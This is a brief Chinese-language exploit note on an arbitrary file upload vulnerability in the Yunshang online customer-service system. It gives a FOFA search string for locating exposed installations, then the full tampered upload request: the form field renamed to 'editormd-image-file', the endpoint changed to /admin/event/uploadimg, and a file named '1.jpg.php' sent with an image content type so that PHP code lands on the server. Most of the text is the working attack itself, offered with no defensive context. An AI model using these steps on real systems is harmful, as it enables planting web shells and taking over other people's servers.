云尚在线客服系统任意文件上传

# 云尚在线客服系统任意文件上传

FOFA:

“`
body=”cgwl.ico”
“`

访问:

“`
/index/index/home?visiter_id=&visiter_name=&avatar=&business_id=1&groupid=0&special=1
//默认ID为1 接入客服 点击图片上传抓包
参数修改
Content-Disposition: form-data; name=”upload”
修改为
Content-Disposition: form-data; name=”editormd-image-file”

POST请求
/admin/event/upload
改为
/admin/event/uploadimg
POST /admin/event/uploadimg HTTP/1.1
Host: target
…

Content-Disposition: form-data; name=”editormd-image-file”; filename=”1.jpg.php”
Content-Type: image/png
“`

via:RoSyNice